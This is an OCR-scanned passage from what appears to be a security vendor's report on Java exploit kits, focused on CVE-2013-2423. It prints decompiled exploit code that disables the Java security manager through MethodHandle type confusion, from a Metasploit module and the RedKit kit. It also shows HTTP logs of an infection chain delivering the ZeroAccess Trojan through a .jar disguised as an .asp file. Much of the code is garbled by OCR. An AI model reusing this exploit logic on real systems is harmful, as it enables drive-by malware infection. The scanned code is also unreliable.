v 1 explon public closs Exploit extends Applet
¥ @ Explon It

= GetClass(String) - Class
& SetField{Class, String, Object, Object) : v
@ disableSecurityl) : vold
@ init) : void
@ paintiGraphics) : void
LI metasploit.dat

35 lecalPermissions. add(new AllPermission());

40 SetField(Statement.closs, “acc”, localStotesent, locelAccessControlContext);

48 arraylfibject[@] = paramitring;
49 Expression localExpression = new Expression{Class.class, “forlome®, array0fObject);
50 lecalExpression. execute();
51 return (Class)localExpression. getValue();
¥

public void disableSecurity()
throws Thromoble
i
33 tat t locals = new § System.class, "setSecurityManoger”, new Object[1]1);
34 Permissions localPermissions = new Permissiens();

36 ProtectionDemain localPr = new Protect nen CodeSource(nen URLL™file:///"), new Certif|
37 AccessControlContext localAccessControlContext = new AccessControlContext(new Protectionlomain[] { localProt

lecal Statement . execute();

}

private Closs Get(lass(String poramString)
throws Thromsble

{
Object[] arrayOfbject = nem Object[1];]

private void SetField(Class paramClass, String paromString, Object paromObjectl, Object paromibject)
throws Thromsble

public static MethodHandle Flao() throws NoSuchFieldException, IllegalliccessException {
return MethodHandles.lookup().findStaticSetter(Double.class, "TYPE", Class.class):

}

public static MethodHandle Tipi() throws NoSuchFieldException, IllegalRccessException {
return MethodHandles.lookup().findStaticSetter(Integer.class, "TYPE", Class.class);

}

)
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Figure 28:
Malware
disabling the
Java security
manager

Figure 29: Redkit
infection chain with a
malicious .jar file
disguised as an .asp
file
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As shown in Figure 28, this MethodHandle is then
used to set value to NULL. That leads to disabling
the Java security manager, allowing attackers to
launch malicious activity.

CVE-2013-2423 in the wild

RedKit is one professional exploit kit that exploits
CVE-2013-2423. The example in Figure 29
demonstrates how attackers leverage the

vulnerability to deliver the ZeroAccess botnet
Trojan onto the target machine. The infection
chain is complex, involving multiple hosts for
exploit and payload delivery. The jar file is
disguised as a Microsoft .asp file, and the .exe file
is encoded, making detection trickier.

static void Diston() throws Throwable {
MethodHandle mhl = Jauti.FLao():
MethodHandle mh2 = Jauti.Tipi():
Field fldl = Jauti.Als():;
Field fld2 = Jauti.Dals():
Class classInt = Integer.TYPE;
Class classDouble = Double TYPE:
mhl.invokeExact (Integer . TYPE) ;
mh2.invokeExact ((Class) null):
OFpp ul = new oPpp():
{{OFpp) wul).field2 = System.class;
Hlam u2 = new Hlam():
fld2.set (u2, fldl.get{ul));
mhl.invokeExact (classDouble) ;
mh2.invokeExact (classInt);

if (((SystemClass) ((Hlam) u2).field2).£f29 != System.getSecurityManager()) {
if (((SystemClass) ((Hlam) u2).field2).f30 == System.getSecurityManager())
{(SystemClass) ((Hlam) u2).field2).f30 = null;

} else

((SystemClass) ((Hlam) u2).field2).£29% = null:

return;

GET /blog/ ?p=5510&comment=348473 HTTP/1.1
GET /favicen.ico HTTR/1.1

GET /blog/vlb.inlp HTTP/1.1
GET /blog/k60.jnlp HTTR/1.1
GET /blog/contacts.asp

GET /downlead.aspip=1 HTTP/1.1
GET /blog/4ye.jinlp HTTR/1.1
GET /blogfindex.php HTTR/1.1
GET /blog/index.php HTTR/1.1
GET /blogfindex.php HTTP/1.1
GET /blog/index.php HTTP/1.1
GET /blog/index.php HTTR/1.1
GET /blog/index.php HTTR/1.1
GET /app/geoip.js HTTP/1.0

=R R EEEEEELE

GET /transfer.php?http://kasiacleaningservice.com/blog/?p=5510&connent=348473 HTTP/1.1

CVE-2013-2423

4" Zero Access Malware

)
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As shown in Figure 30, the contacts.asp file shown
inis actually the malicious .jar file containing the

CVE-2013-2423 exploit.

The decompiled jar file, shown in
reveals the findStaticSetter() call.

Figure 31,

Figure 30: Malicious .jar A ;
accept-encoding: gzip
Cache-Control:
Pragma: no-cache

file being downloaded
as a .asp file

Host :

GET /blog/contacts.asp HTTP/1.1
no-cache

User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/l.7.0 07

HTTP/1.1 200 OK
Date: Mon,
Server: Apache

X-Curl-Errno: ©

Accept: text/html, image/gif, image/jpeg, *; g=.2, */¥%; g=.2
Connection: keep-alive

17 Jun 2013 12:07:40 GMT

Content-Disposition: inline; filename=app.jar
Content-Length: 13055

Keep-Alive: timeout=15, max=98

Connection: Keep-Alive

Content-Type: application/java-archive

.. .META-INF/....PK..
.. .META-INF/MANIFEST. MFManifest -Version: 1.0

Figure 31: Decompiled

contacts.asp_jar

Search.class )

Jar file

#/import jova.applet. Applet;
public closs Search extends Applet
{
static String par = *%;

Stf tfr = new SEF0);
static St wel = new SRa();

public void init()
i
try
{
par = getPargmeter(*size®);
pickup(d;
SAFLTUCY;
} cateh (Throwsble ex) {
Logger. getLoggert Sgarch. class. getName()) . logiLevel . SEVERE, mull, ex);

¥
wold pickupt)

throws Throwable

i

« lookup().
. lookup( ). f

varyl = (Double. class, “TeoeutPeocuk™. replacel “coeu
varyZ =
Field fldl = CHipi. bubi();

Field fld2 = Odipi. bubi2();

woryl. invekeExsck (Integer, TTPE);
weryZ. invokeExact {{ClassInull);

this.tfr.indi = System. closs;

[Integer.closs, “TeocutPoocuE”. replacel "cocu”,

"y ""h Class.closs);
=3, Class,class);
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Conclusion

Java’s popularity among developers and
widespread usage in Web browsers all but
guarantees continuing interest from threat actors
seeking new lines of attack. Malware authors have
advanced quickly—not just finding new
vulnerabilities, but developing clever ways to
exploit them.

Multiple payload downloads in a single attack
session have grown common, maximizing the
profit potential from crimeware. Using .jar files
themselves to carry malware payloads (as seenin
the Cool exploit kit example) allows attackers to
bundle multiple payloads with one attack and
bypass detection.

Motivated by profits, cyber attackers are bound
to adopt more intelligent exploit kits that “know
their victim." That was the case in several recent
attacks. These attacks used plugin-detection
scripts and advanced exploit chains to evade
discovery and compromise websites for drive-by
malware downloads. Post-exploit, multi-stage
malware downloads will continue to mushroom
as more threat actors scramble for a piece of the
crimeware pie.

The threat landscape is constantly evolving. A
long as vulnerabilities exist—and we can bet they
always will—count on more exploit kits to take
advantage of them.
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